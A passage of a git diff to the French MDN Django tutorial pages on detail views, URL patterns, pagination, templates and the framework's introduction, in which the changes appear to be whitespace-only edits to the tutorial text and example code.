utilisons `'<int:pk>'` pour capturer l'id du livre, qui doit être une chaîne formatée d'une certaine manière, et passer cet id à la vue en tant que paramètre nommé `pk` (abréviation pour primary key - clé primaire). C'est l'id qui doit être utilisé pour stocker le livre de manière unique dans la base de données, comme défini dans le modèle Book. +Dans ce cas, nous utilisons `'<int:pk>'` pour capturer l'id du livre, qui doit être une chaîne formatée d'une certaine manière, et passer cet id à la vue en tant que paramètre nommé `pk` (abréviation pour primary key - clé primaire). C'est l'id qui doit être utilisé pour stocker le livre de manière unique dans la base de données, comme défini dans le modèle Book. -> **Note :** Comme nous l'avons dit précédemment, notre URL correcte est en réalité `catalog/book/<digits>` (comme nous sommes dans l'application **catalog**, `/catalog/` est supposé). +> **Note :** Comme nous l'avons dit précédemment, notre URL correcte est en réalité `catalog/book/<digits>` (comme nous sommes dans l'application **catalog**, `/catalog/` est supposé). > **Attention :** La vue générique basée sur classe "détail" _s'attend_ à recevoir un paramètre appelé **pk**. Si vous écrivez votre propre fonction, vous pouvez utiliser le nom que vous voulez pour votre paramètre, ou même passer l'information avec un argument non nommé. @@ -240,7 +240,7 @@ Dans ce cas, nous utilisons `'<int:pk>'` pour capturer l'id du livre, qui doit > **Note :** Vous n'aurez pas besoin de cette section pour achever le tutoriel ! Nous en parlons parce que nous savons que cette option vous sera probablement utile dans votre avenir centré sur Django. -La recherche de pattern fournie par `path()` est simple et utile pour les cas (très communs) où vous voulez seulement capturer _n'importe quelle_ chaîne ou entier. Si vous avez besoin d'un filtre plus affiné (par exemple pour filtrer seulement les chaînes qui ont un certain nombre de caractères), alors vous pouvez utiliser la méthode [re_path()](https://docs.djangoproject.com/en/2.1/ref/urls/#django.urls.re_path). +La recherche de pattern fournie par `path()` est simple et utile pour les cas (très communs) où vous voulez seulement capturer _n'importe quelle_ chaîne ou entier. Si vous avez besoin d'un filtre plus affiné (par exemple pour filtrer seulement les chaînes qui ont un certain nombre de caractères), alors vous pouvez utiliser la méthode [re_path()](https://docs.djangoproject.com/en/2.1/ref/urls/#django.urls.re_path). Cette méthode est utilisée exactement comme `path()`, sauf qu'elle vous permet de spécifier un pattern utilisant une [Expression régulière](https://docs.python.org/3/library/re.html). Par exemple, le chemin précédent pourrait avoir été écrit ainsi : @@ -264,7 +264,7 @@ L'essentiel de ce que vous aurez besoin de savoir pour déclarer une recherche d | \* | Recherche zéro ou plus occurrence(s) du caractère précédent. Par exemple, pour rechercher "rien ou un mot", vous pourriez utiliser `\w*`. | | ( ) | Capture la partie du pattern contenue dans les parenthèses. Toutes les valeurs capturées seront passées à la vue en tant que paramètres non nommés (si plusieurs patterns sont capturés, les paramètres associés seront fournis dans l'ordre de déclaration des captures). | | (?P<_name_>...) | Capture le pattern (indiqué par…) en tant que variable nommée (dans ce cas "name"). Les valeurs capturées sont passées à la vue avec le nom spécifié. Votre vue doit par conséquent déclarer un argument avec le même nom ! | -| [ ] | Recherche l'un des caractères contenus dans cet ensemble. Par exemple, [abc] va rechercher "a" ou "b" ou "c". [-\w] va rechercher le caractère "-" ou tout caractère de mot. | +| [ ] | Recherche l'un des caractères contenus dans cet ensemble. Par exemple, [abc] va rechercher "a" ou "b" ou "c". [-\w] va rechercher le caractère "-" ou tout caractère de mot. | La plupart des autres caractères peuvent être pris littéralement. @@ -283,13 +283,13 @@ Considérons quelques exemples réels de patterns : <td> <p> C'est là l'expression régulière utilisée dans notre mappeur d'URL. - Elle recherche une chaîne qui a <code>book/</code> au commencement de + Elle recherche une chaîne qui a <code>book/</code> au commencement de la ligne (<strong>^book/</strong>), ensuite a au moins 1 digit (<code>\d+</code>), et enfin se termine (avec aucun caractère non-digit avant la fin du marqueur de ligne). </p> <p> - Elle capture aussi tous les digits <strong>(?P<pk>\d+)</strong> + Elle capture aussi tous les digits <strong>(?P<pk>\d+)</strong> et les passe à la vue dans un paramètre appelé 'pk'. <strong >Les valeurs capturées sont toujours passées comme des chaînes @@ -299,7 +299,7 @@ Considérons quelques exemples réels de patterns : <p> Par exemple, cette expression régulière trouverait une correspondance dans l'URL <code>book/1234</code>, et enverrait alors une - variable <code>pk='1234'</code> à la vue. + variable <code>pk='1234'</code> à la vue. </p> </td> </tr> @@ -316,7 +316,7 @@ Considérons quelques exemples réels de patterns : <td><strong>r'^book/(?P<stub>[-\w]+)$'</strong></td> <td> <p> - Ceci recherche une chaîne qui a <code>book/</code> au commencement de + Ceci recherche une chaîne qui a <code>book/</code> au commencement de la ligne (<strong>^book/</strong>), ensuite a au moins 1 caractère étant <em>soit</em> un '-', <em>soit</em> un caractère de mot (<strong>[-\w]+</strong>), puis la fin. Ce pattern capture aussi cet @@ -357,16 +357,16 @@ Ouvrez **catalog/views.py**, et copiez-y le code suivant à la fin du fichier : ```python class BookDetailView(generic.DetailView): - model = Book + model = Book ``` -C'est tout ! La seule chose que vous avez à faire maintenant, c'est créer un template appelé **/locallibrary/catalog/templates/catalog/book_detail.html**, et la vue va lui passer les informations de la base de donnée concernant l'enregistrement `Book` spécifique, extrait par le mapper d'URL. À l'intérieur du template, vous pouvez accéder à la liste de livres via la variable de template appelée `object` OU `book` (c'est-à-dire, de manière générique, "le_nom_du_modèle"). +C'est tout ! La seule chose que vous avez à faire maintenant, c'est créer un template appelé **/locallibrary/catalog/templates/catalog/book_detail.html**, et la vue va lui passer les informations de la base de donnée concernant l'enregistrement `Book` spécifique, extrait par le mapper d'URL. À l'intérieur du template, vous pouvez accéder à la liste de livres via la variable de template appelée `object` OU `book` (c'est-à-dire, de manière générique, "le_nom_du_modèle"). Si vous en avez besoin, vous pouvez changer le template utilisé et le nom de l'objet-contexte utilisé pour désigner le livre dans le template. Vous pouvez aussi renommer les méthodes pour, par exemple, ajouter des informations supplémentaires au contexte. #### Que se passe-t-il si l'enregistrement n'existe pas ? -Si l'enregistrement demandé n'existe pas, alors la vue générique basée sur classe "détail" va lever automatiquement pour vous une exception `Http404` — en production, cela va automatiquement afficher une page appropriée "ressource non trouvée", que vous pouvez personnaliser si besoin. +Si l'enregistrement demandé n'existe pas, alors la vue générique basée sur classe "détail" va lever automatiquement pour vous une exception `Http404` — en production, cela va automatiquement afficher une page appropriée "ressource non trouvée", que vous pouvez personnaliser si besoin. Juste pour vous donner une idée de la manière dont tout cela fonctionne, le morceau de code ci-dessous montre comment vous implémenteriez cette vue comme une fonction si vous n'utilisiez **pas** la vue générique basée sur classe "détail". @@ -380,21 +380,21 @@ def book_detail_view(request, primary_key): return render(request, 'catalog/book_detail.html', context={'book': book}) ``` -La vue essaie d'abord d'obtenir du modèle l'enregistrement correspondant au livre spécifié. Si cela échoue, la vue devrait lever une exception `Http404` pour indiquer que le livre est "non trouvé". L'étape finale est ensuite, comme d'habitude, d'appeler `render()` avec le nom du template et les données concernant le livre dans le paramètre `context` (comme un dictionnaire). +La vue essaie d'abord d'obtenir du modèle l'enregistrement correspondant au livre spécifié. Si cela échoue, la vue devrait lever une exception `Http404` pour indiquer que le livre est "non trouvé". L'étape finale est ensuite, comme d'habitude, d'appeler `render()` avec le nom du template et les données concernant le livre dans le paramètre `context` (comme un dictionnaire). -Une alternative consiste à utiliser la fonction `get_object_or_404()` comme un raccourci pour lever une exception `Http404` si l'enregistrement n'existe pas. +Une alternative consiste à utiliser la fonction `get_object_or_404()` comme un raccourci pour lever une exception `Http404` si l'enregistrement n'existe pas. ```python from django.shortcuts import get_object_or_404 def book_detail_view(request, primary_key): - book = get_object_or_404(Book, pk=primary_key) + book = get_object_or_404(Book, pk=primary_key) return render(request, 'catalog/book_detail.html', context={'book': book}) ``` ### Créer le template de la Vue Détail -Créez le fichier HTML **/locallibrary/catalog/templates/catalog/book_detail.html**, et copiez-y le code ci-dessous. Comme on l'a dit plus haut, c'est là le nom de template attendu par défaut par la vue générique basée sur classe _detail_ (pour un modèle appelé `Book` dans une application appelée `catalog`). +Créez le fichier HTML **/locallibrary/catalog/templates/catalog/book_detail.html**, et copiez-y le code ci-dessous. Comme on l'a dit plus haut, c'est là le nom de template attendu par défaut par la vue générique basée sur classe _detail_ (pour un modèle appelé `Book` dans une application appelée `catalog`). ```html {% extends "base_generic.html" %} @@ -434,10 +434,10 @@ Bien qu'en un peu plus grand, presque tout ce qu'il y a dans ce template a été - Nous étendons notre template de base et récrivons le block "content". - Nous utilisons une procédure conditionnelle pour déterminer s'il faut ou non afficher tel contenu spécifique. -- Nous utilisons une boucle `for` pour boucler sur des listes d'objets. -- Nous accédons aux champs du contexte en utilisant la notation à point (parce que nous avons utilisé la vue générique _detail_, le contexte est nommé `book` ; nous pourrions aussi utiliser "`object`"). +- Nous utilisons une boucle `for` pour boucler sur des listes d'objets. +- Nous accédons aux champs du contexte en utilisant la notation à point (parce que nous avons utilisé la vue générique _detail_, le contexte est nommé `book` ; nous pourrions aussi utiliser "`object`"). -Une chose intéressante que nous n'avons pas encore vue, c'est la fonction `book.bookinstance_set.all()`. Cette méthode est "automagiquement" construite par Django pour retourner l'ensemble des enregistrements `BookInstance` associés à un `Book` particulier. +Une chose intéressante que nous n'avons pas encore vue, c'est la fonction `book.bookinstance_set.all()`. Cette méthode est "automagiquement" construite par Django pour retourner l'ensemble des enregistrements `BookInstance` associés à un `Book` particulier. ```python {% for copy in book.bookinstance_set.all %} @@ -445,9 +445,9 @@ Une chose intéressante que nous n'avons pas encore vue, c'est la fonction `book {% endfor %} ``` -Cette méthode est requise parce que vous déclarez un champ `ForeignKey` (one-to-many) seulement du côté "one" de la relation. Comme vous ne faites rien pour déclarer la relation dans les modèles opposés ("many"), Django n'a pas de champ pour récupérer l'ensemble des enregistrements associés. Pour remédier à ce problème, Django construit une fonction justement nommée "recherche inversée", que vous pouvez utiliser. Le nom de la fonction est construit en mettant en minuscule le nom du modèle où a été déclarée la `ForeignKey`, suivi de `_set` (ainsi la fonction créée dans `Book` est `bookinstance_set()`). +Cette méthode est requise parce que vous déclarez un champ `ForeignKey` (one-to-many) seulement du côté "one" de la relation. Comme vous ne faites rien pour déclarer la relation dans les modèles opposés ("many"), Django n'a pas de champ pour récupérer l'ensemble des enregistrements associés. Pour remédier à ce problème, Django construit une fonction justement nommée "recherche inversée", que vous pouvez utiliser. Le nom de la fonction est construit en mettant en minuscule le nom du modèle où a été déclarée la `ForeignKey`, suivi de `_set` (ainsi la fonction créée dans `Book` est `bookinstance_set()`). -> **Note :** Ici nous utilisons `all()` pour récupérer tous les enregistrements (comportement par défaut). Bien que vous puissiez utiliser la méthode `filter()` pour obtenir un sous-ensemble d'enregistrements dans le code, vous ne pouvez faire cela directement dans le template, parce que vous ne pouvez pas spécifier d'arguments dans les fonctions. +> **Note :** Ici nous utilisons `all()` pour récupérer tous les enregistrements (comportement par défaut). Bien que vous puissiez utiliser la méthode `filter()` pour obtenir un sous-ensemble d'enregistrements dans le code, vous ne pouvez faire cela directement dans le template, parce que vous ne pouvez pas spécifier d'arguments dans les fonctions. > > Prenez garde également que, si vous ne définissez pas un ordre (dans votre vue basée sur classe ou votre modèle), vous allez voir des erreurs de ce genre en provenance du serveur de développement : > @@ -457,13 +457,13 @@ Cette méthode est requise parce que vous déclarez un champ `ForeignKey` (one- > > Ceci vient du fait que l'[objet paginator](https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects) s'attend à ce qu'un ORDER BY soit exécuté sur votre base de données sous-jacente. Sans cela il ne peut pas être sûr que les enregistrements retournés sont vraiment dans le bon ordre ! > -> Ce tutoriel n'a pas (encore !) traité de la **pagination**, mais comme vous ne pouvez pas utiliser `sort_by()` et passer un paramètre (pour la même raison que le `filter()` décrit précédemment), vous avez le choix entre trois options : +> Ce tutoriel n'a pas (encore !) traité de la **pagination**, mais comme vous ne pouvez pas utiliser `sort_by()` et passer un paramètre (pour la même raison que le `filter()` décrit précédemment), vous avez le choix entre trois options : > -> 1. Ajouter un `ordering` lors de la déclaration de la `class Meta` dans votre modèle. -> 2. Ajouter un attribut `queryset` dans votre vue personnalisée basée sur classe, en spécifiant un `order_by()`. -> 3. Ajouter une méthode `get_queryset` à votre vue personnalisée basée sur classe, et préciser de même un `order_by()`. +> 1. Ajouter un `ordering` lors de la déclaration de la `class Meta` dans votre modèle. +> 2. Ajouter un attribut `queryset` dans votre vue personnalisée basée sur classe, en spécifiant un `order_by()`. +> 3. Ajouter une méthode `get_queryset` à votre vue personnalisée basée sur classe, et préciser de même un `order_by()`. > -> Si vous décidez d'ajouter une `class Meta` au modèle `Author` (solution peut-être pas aussi flexible que personnaliser la vue basée sur classe, mais assez facile), vous allez vous retrouver avec quelque chose de ce genre : +> Si vous décidez d'ajouter une `class Meta` au modèle `Author` (solution peut-être pas aussi flexible que personnaliser la vue basée sur classe, mais assez facile), vous allez vous retrouver avec quelque chose de ce genre : > > class Author(models.Model): > first_name = models.CharField(max_length=100) @@ -480,7 +480,7 @@ Cette méthode est requise parce que vous déclarez un champ `ForeignKey` (one- > class Meta: > ordering = ['last_name'] > -> Bien sûr le champ n'est pas forcément `last_name` : ce pourrait être un autre champ. +> Bien sûr le champ n'est pas forcément `last_name` : ce pourrait être un autre champ. > > Dernier point, mais non le moindre : vous devriez trier les données par un attribut/colonne qui a réellement un index (unique ou pas) dans votre base de données, afin d'éviter des problèmes de performance. Bien sûr ce n'est pas requis ici (ce serait un peu exagéré avec si peu de livres et d'utilisateurs), mais il vaut mieux avoir cela à l'esprit pour de futurs projets. @@ -525,34 +525,34 @@ Ouvrez **/locallibrary/catalog/templates/_base_generic.html_**, et copiez-y, sou ```python {% block content %}{% endblock %} - {% block pagination %} - {% if is_paginated %} - <div class="pagination"> - <span class="page-links"> - {% if page_obj.has_previous %} - <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a> - {% endif %} - <span class="page-current"> - Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}. - </span> - {% if page_obj.has_next %} - <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a> - {% endif %} - </span> - </div> - {% endif %} - {% endblock %} + {% block pagination %} + {% if is_paginated %} + <div class="pagination"> + <span class="page-links"> + {% if page_obj.has_previous %} + <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a> + {% endif %} + <span class="page-current"> + Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}. + </span> + {% if page_obj.has_next %} + <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a> + {% endif %} + </span> + </div> + {% endif %} + {% endblock %} ``` -Le `page_obj` est un objet [Paginator](https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects) qui n'existera que si une pagination est utilisée dans la page courante. Cet objet vous permet de récupérer toutes les informations sur la page courante, les pages précédentes, combien il y a de pages au total, etc. +Le `page_obj` est un objet [Paginator](https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects) qui n'existera que si une pagination est utilisée dans la page courante. Cet objet vous permet de récupérer toutes les informations sur la page courante, les pages précédentes, combien il y a de pages au total, etc. -Nous utilisons `\{{ request.path }}` pour récupérer l'URL de la page courante, afin de créer les liens de pagination. Cela est utile, car cette variable est indépendante de l'objet que nous sommes en train de paginer. +Nous utilisons `\{{ request.path }}` pour récupérer l'URL de la page courante, afin de créer les liens de pagination. Cela est utile, car cette variable est indépendante de l'objet que nous sommes en train de paginer. C'est tout ! ### À quoi cela ressemble-t-il ? -La capture d'écran ci-dessous montre à quoi ressemble la pagination. Si vous n'avez pas entré plus de 10 titres dans votre base de données, vous pouvez tester plus facilement cette pagination en diminuant le nombre spécifié à la ligne `paginate_by` dans votre fichier **catalog/views.py**. Pour obtenir le résultat ci-dessous, nous avons changé la ligne en `paginate_by = 2`. +La capture d'écran ci-dessous montre à quoi ressemble la pagination. Si vous n'avez pas entré plus de 10 titres dans votre base de données, vous pouvez tester plus facilement cette pagination en diminuant le nombre spécifié à la ligne `paginate_by` dans votre fichier **catalog/views.py**. Pour obtenir le résultat ci-dessous, nous avons changé la ligne en `paginate_by = 2`. Les liens de pagination sont affichés en bas de la page, avec les liens suivant/précédent affichés selon la page sur laquelle nous nous trouvons. @@ -569,7 +569,7 @@ Le code requis pour le mappeur d'URL et les vues sera virtuellement identique au > **Note :** > -> - Une fois que vous aurez créé le mappeur d'URL pour la page "liste d'auteurs", vous aurez besoin de mettre aussi à jour le lien **All authors** dans le template de base. Suivez la [même procédure](#Update_the_base_template) que celle adoptée quand nous avons mis à jour le lien **All books**. +> - Une fois que vous aurez créé le mappeur d'URL pour la page "liste d'auteurs", vous aurez besoin de mettre aussi à jour le lien **All authors** dans le template de base. Suivez la [même procédure](#Update_the_base_template) que celle adoptée quand nous avons mis à jour le lien **All books**. > - Une fois créé le mappeur d'URL pour la page de détails sur l'auteur, vous devrez aussi mettre à jour le [template de la vue détail d'un livre](#Creating_the_Detail_View_template) (**/locallibrary/catalog/templates/catalog/book_detail.html**), de sorte que le lien vers l'auteur pointe vers votre nouvelle page de détails sur l'auteur (au lieu d'être une URL vide). La ligne va avoir comme changement la balise montrée en gras ci-dessous. > > ```html diff --git a/files/fr/learn/server-side/django/home_page/index.md b/files/fr/learn/server-side/django/home_page/index.md index 7140bf6583..5ff1163613 100644 --- a/files/fr/learn/server-side/django/home_page/index.md +++ b/files/fr/learn/server-side/django/home_page/index.md @@ -67,8 +67,8 @@ La liste des URLs dont nous aurons besoin se résume à : - `catalog/` — Pour la page d'accueil. - `catalog/books/` — Pour la liste des livres. -- `catalog/authors/` — Pour la liste des auteurs. -- `catalog/book/<id>` — Pour disposer du détail de chacun des livres mis en prêt et identifié par identifiant `<id>` unique (le troisième livre enregistré est consultable dans le détail via l'URL `/catalog/book/3`). +- `catalog/authors/` — Pour la liste des auteurs. +- `catalog/book/<id>` — Pour disposer du détail de chacun des livres mis en prêt et identifié par identifiant `<id>` unique (le troisième livre enregistré est consultable dans le détail via l'URL `/catalog/book/3`). - `catalog/author/<id>` — De la même manière, le détail de chacun des auteurs enregistrés, identifié de la même manière par sa clé primaire *`<id>`*. Bien que les données dépendent du contenu de la base de données, les trois premières URLs retournent les résultats de requêtes sans informations supplémentaires ; c'est le cas de la page d'accueil qui donnera des décomptes de contenus et des pages sur la liste des livres ou des auteurs. @@ -107,7 +107,7 @@ urlpatterns = [ La fonction `path()` sert à définir les éléments suivants : -- Un modèle d'URL qui, dans le cas présent, est une chaîne vide : `''`. Nous évoquerons ultérieurement les modèles d'URL plus en détail quand nous travaillerons les autres vues. +- Un modèle d'URL qui, dans le cas présent, est une chaîne vide : `''`. Nous évoquerons ultérieurement les modèles d'URL plus en détail quand nous travaillerons les autres vues. - Une fonction de vue, ici `views.index`, qui sera sollicitée quand le modèle d'URL sera détecté et une fonction Python qui sera appelée pour traiter l'appel d'URL est présent dans le fichier **views.py** du module `catalog`. Le paramètre `name` utilisé dans la fonction `path()` permet aussi de définir un identifiant unique qui sert à lier les pages vers celle-ci au sein de l'application. Vous pouvez alors l'utiliser à l'envers en routant dynamiquement des pages en lien vers cette ressource : @@ -185,7 +185,7 @@ Vous pouvez en faire l'expérience dès à présent, après avoir redémarré vo Django utilise un langage pour les gabarits qui permet de résoudre certains sujets liés aux pages HTML. En l'occurrence, dans le site web de la bibliothèque nous aurons des bandeaux de navigateur et autres codes d'en-tête à réutiliser. Dans une vision classique, il faudrait récrire dans chaque page le même code pour obtenir le même rendu. Si cela peut se concevoir pour quelques pages, ce procédé devient vite inopérant voire risqué avec un site dynamique complet. -Le langage de gabarit de Django permet de définir un modèle de base puis de l'étendre ensuite. L'extrait de code ci-dessous vient du fichier de gabarit **base_generic.html**, vous constaterez qu'il s'y mélange du code HTML et des sections nommées contenu dans entre des marqueurs `block` et `endblock` qui peut contenir ou non des données. +Le langage de gabarit de Django permet de définir un modèle de base puis de l'étendre ensuite. L'extrait de code ci-dessous vient du fichier de gabarit **base_generic.html**, vous constaterez qu'il s'y mélange du code HTML et des sections nommées contenu dans entre des marqueurs `block` et `endblock` qui peut contenir ou non des données. > **Note :** Les marqueurs de gabarits sont des fonctions que vous pouvez utiliser dans un modèle pour parcourir des listes, effectuer des opérations conditionnelles en fonction de la valeur d'une variable, etc. Outre les balises de modèle, la syntaxe de gabarit vous permet de référencer les variables qui sont transmises au modèle à partir de la vue et d'utiliser des filtres de gabarit pour mettre en forme les variables (par exemple, pour convertir une chaîne en minuscule). @@ -208,7 +208,7 @@ Dans l'extrait ci-dessous vous avec trois sections nommées qui pourront être r </html> ``` -Lorsque l'on définit un gabarit pour une vue particulière, il convient de définir une base de gabarit et d'utiliser la balise `extends` dans une page complémentaire comme dans l'exemple ci-dessous. Ensuite, il est nécessaire de préciser les sections qui seront modifiées en utilisant les balises `block`/`endblock` qui définissent le début et la fin de section. +Lorsque l'on définit un gabarit pour une vue particulière, il convient de définir une base de gabarit et d'utiliser la balise `extends` dans une page complémentaire comme dans l'exemple ci-dessous. Ensuite, il est nécessaire de préciser les sections qui seront modifiées en utilisant les balises `block`/`endblock` qui définissent le début et la fin de section. À titre indicatif, l'extrait ci-dessous présente la manière d'activer à l'aide de la balise `extends` le remplacement de la section `content`. La page HTML générée inclura la structure de la page définie plus haut et le code généré à la fois pour la section `title`, mais avec les éléments nouveaux, ci-dessous, pour la section `content`. @@ -223,7 +223,7 @@ Lorsque l'on définit un gabarit pour une vue particulière, il convient de déf #### Le gabarit de base de la bibliothèque -Nous allons nous appuyer sur le gabarit ci-dessous pour construire la page de base de la bibliothèque locale. Vous le constatez, il contient des éléments HTML et des blocs dédiés Django pour spécifier trois sections `title`, `sidebar`, et `content`. La section `title` contient un titre par défaut. De même la section `sidebar` contient un lien vers la liste des livres et des auteurs qui pourra être modifié ensuite. +Nous allons nous appuyer sur le gabarit ci-dessous pour construire la page de base de la bibliothèque locale. Vous le constatez, il contient des éléments HTML et des blocs dédiés Django pour spécifier trois sections `title`, `sidebar`, et `content`. La section `title` contient un titre par défaut. De même la section `sidebar` contient un lien vers la liste des livres et des auteurs qui pourra être modifié ensuite. > **Note :** Il y a aussi deux balises supplémentaires : `url` et `load static`. Elles seront étudiées dans le chapitre suivant. @@ -298,9 +298,9 @@ Maintenant créez le fichier HTML **_index.html_** dans le dossier **/locallibra Dans la section contenu dynamique, des emplacements réservés sont définis pour pouvoir y insérer le contenu de variable qui sont identifiées à l'intérieur de doubles accolades (ouvrantes et fermantes). Pour une meilleure visibilité ces emplacements et les variables nommées sont identifiées en caractères gras dans l'extrait de code ci-dessus. -> **Note :** Vous pouvez constater simplement que les balises de gabarit (fonctions) et les balises de variables sont entre accolades ; double accolades pour une variable (`\{{ num_books }}`), et simple accolade avec le pourcentage (`{% extends "base_generic.html" %}`) pour les balises. +> **Note :** Vous pouvez constater simplement que les balises de gabarit (fonctions) et les balises de variables sont entre accolades ; double accolades pour une variable (`\{{ num_books }}`), et simple accolade avec le pourcentage (`{% extends "base_generic.html" %}`) pour les balises. -Gardez en mémoire que les variables utilisées dans les gabarits sont des clés d'un dictionnaire `context` transmis à la fonction `render()` de la vue (revenez à l'exemple plus haut, ou l'extrait ci-dessous). La fonction `render()` traitera le dictionnaire pour restituer une page HTML où les variables nommées auront été remplacées par leur valeur dans le dictionnaire. +Gardez en mémoire que les variables utilisées dans les gabarits sont des clés d'un dictionnaire `context` transmis à la fonction `render()` de la vue (revenez à l'exemple plus haut, ou l'extrait ci-dessous). La fonction `render()` traitera le dictionnaire pour restituer une page HTML où les variables nommées auront été remplacées par leur valeur dans le dictionnaire. ```python context = { @@ -352,21 +352,21 @@ Par défaut Django ne sait pas où sont vos gabarits, vous devez lui indiquer o ```python TEMPLATES = [ - { - 'BACKEND': 'django.template.backends.django.DjangoTemplates', - 'DIRS': [ - os.path.join(BASE_DIR, 'templates'), - ], - 'APP_DIRS': True, - 'OPTIONS': { - 'context_processors': [ - 'django.template.context_processors.debug', - 'django.template.context_processors.request', - 'django.contrib.auth.context_processors.auth', - 'django.contrib.messages.context_processors.messages', - ], - }, - }, + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [ + os.path.join(BASE_DIR, 'templates'), + ], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, ] ``` diff --git a/files/fr/learn/server-side/django/introduction/index.md b/files/fr/learn/server-side/django/introduction/index.md index d5005c4b8e..6ce246058a 100644 --- a/files/fr/learn/server-side/django/introduction/index.md +++ b/files/fr/learn/server-side/django/introduction/index.md @@ -40,7 +40,7 @@ Dans ce premier article sur Django, nous allons répondre à la question suivant ## Qu'est ce que Django? -Django est un framework Python de haut niveau, permettant un développement rapide de sites internet, sécurisés, et maintenables. Créé par des développeurs experimentés, Django prend en charge la plupart des tracas du développement web, vous pouvez donc vous concentrer sur l'écriture de votre application sans avoir besoin de réinventer la roue. Il est gratuit, open source, a une communauté active, une bonne documentation, et plusieurs options pour du support gratuit ou non. +Django est un framework Python de haut niveau, permettant un développement rapide de sites internet, sécurisés, et maintenables. Créé par des développeurs experimentés, Django prend en charge la plupart des tracas du développement web, vous pouvez donc vous concentrer sur l'écriture de votre application sans avoir besoin de réinventer la roue. Il est gratuit, open source, a une communauté active, une bonne documentation, et plusieurs options pour du support gratuit ou non. Django vous aide à écrire une application qui est: @@ -48,7 +48,7 @@ Django vous aide à écrire une application qui est: - : Django suit la philosophie "Piles incluses" et fournit presque tout ce que les développeurs pourraient vouloir faire. Comme tout ce dont vous avez besoin est une partie de ce "produit", tout fonctionne parfaitement ensemble, suivant des principes de conception cohérents, il possède également une [documentation complète](https://docs.djangoproject.com/en/2.0/) et à jour. - Polyvalent - - : Django peut être (et a été) utilisé pour créer presque tous les genres de sites — du gestionnaire de données aux wikis, jusqu'aux réseaux sociaux et aux sites d'actualités. Il peut fonctionner avec n'importe quelle infrastructure côté client, et peut renvoyer des données dans quasiment n'importe quel format (notamment HTML, RSS, JSON, XML, etc). Le site sur lequel vous lisez en ce moment est basé sur Django! + - : Django peut être (et a été) utilisé pour créer presque tous les genres de sites — du gestionnaire de données aux wikis, jusqu'aux réseaux sociaux et aux sites d'actualités. Il peut fonctionner avec n'importe quelle infrastructure côté client, et peut renvoyer des données dans quasiment n'importe quel format (notamment HTML, RSS, JSON, XML, etc). Le site sur lequel vous lisez en ce moment est basé sur Django! Tandis qu'il fournit presque toutes les fonctionnalités dont vous pourriez avoir besoin (comme des base de données populaires, des moteurs de modélisation, etc.), il peut tout de même être étendu pour utiliser d'autres composants si besoin. @@ -61,7 +61,7 @@ Django vous aide à écrire une application qui est: Django active par défaut la protection contre beaucoup de vulnérabilités, comme les injections SQL, le cross-site scripting, le cross-site request forgery et le clickjacking (voir [Website security](/fr/docs/Learn/Server-side/First_steps/Website_security) pour plus de détails sur ce genre d'attaques). - Scalable - - : Django utilise une architecture composite "shared-nothing" (chaque composant de l'architecture est indépendant des autres, et peut ainsi être remplacé ou changé si besoin). En ayant des séparations nettes entres les différentes parties, Django peut se scaler lors d'une hausse de trafic en ajoutant du hardware à tous les niveaux : serveurs cache, serveurs de base de données, serveurs d'application. Certains des sites les plus fréquentés ont réussi à scaler Django pour répondre à leur demande (par exemple, Instagram et Disqus pour ne nommer qu'eux deux). + - : Django utilise une architecture composite "shared-nothing" (chaque composant de l'architecture est indépendant des autres, et peut ainsi être remplacé ou changé si besoin). En ayant des séparations nettes entres les différentes parties, Django peut se scaler lors d'une hausse de trafic en ajoutant du hardware à tous les niveaux : serveurs cache, serveurs de base de données, serveurs d'application. Certains des sites les plus fréquentés ont réussi à scaler Django pour répondre à leur demande (par exemple, Instagram et Disqus pour ne nommer qu'eux deux). - Maintenable - : Les principes de design du code Django encouragent la création d'un code simple à maintenir et réutilisable. Il fait notamment appel à la philosophie du Ne Vous Répétez Pas (DRY pour Don't Repeat Yourself en anglais), afin d'éviter toute duplication superflue, réduisant la taille de votre code. Django promeut aussi le regroupement de fonctionnalités reliées entre elles en "applications" réutilisables et, à un plus bas niveau, regroupe des lignes de code dépendantes entre elles en modules (suivant les lignes du motif d'architecture Modèle-vue-contrôleur (MVC)). - Portable @@ -73,17 +73,17 @@ Django vous aide à écrire une application qui est: Django a continué à se développer et à s'améliorer, depuis sa première sortie (1.0) en Septembre 2008 jusqu'à la version 2.0 récemment sortie (2017). Chaque sortie a ajouté son lot de nouvelles fonctionnalités et de corrections de bugs, allant du support de nouveaux types de bases de données, de moteurs de templates et de cache, à l'addition de fonctions et de classes de vues 'génériques' (qui réduisent la quantité de code que doivent écrire les développeurs pour tout un tas de tâches de programmation). -> **Note :** Consultez les [notes de publication](https://docs.djangoproject.com/en/1.10/releases/) sur le site web de Django pour voir les changements apportés dans les versions récentes, ainsi que tout le travail accompli pour améliorer Django. +> **Note :** Consultez les [notes de publication](https://docs.djangoproject.com/en/1.10/releases/) sur le site web de Django pour voir les changements apportés dans les versions récentes, ainsi que tout le travail accompli pour améliorer Django. Désormais, Django est un projet open-source collaboratif florissant, avec plusieurs milliers d'utilisateurs et de contributeurs. Bien que plusieurs fonctionnalités reflètent encore ses origines, Django a évolué en un framework versatile capable de développer n'importe quel type de site web. ## À quel point Django est-il populaire ? -Il n'y a pas encore de mesure toute prête et définitive de la popularité des frameworks orientés serveur (bien que des sites comme [Hot Frameworks](http://hotframeworks.com/) tentent d'estimer cette popularité en utilisant des moyens comme le comptage de projets GitHub et de questions sur StackOverflow pour chaque plateforme). Une meilleure question serait plutôt est-ce que Django est "suffisamment populaire" pour éviter les problèmes des plateformes moins populaires. Va-t-il continuer d'évoluer ? Pourrez-vous obtenir de l'aide si vous en avez besoin ? Aurez-vous des opportunités d'emploi si vous apprenez Django ? +Il n'y a pas encore de mesure toute prête et définitive de la popularité des frameworks orientés serveur (bien que des sites comme [Hot 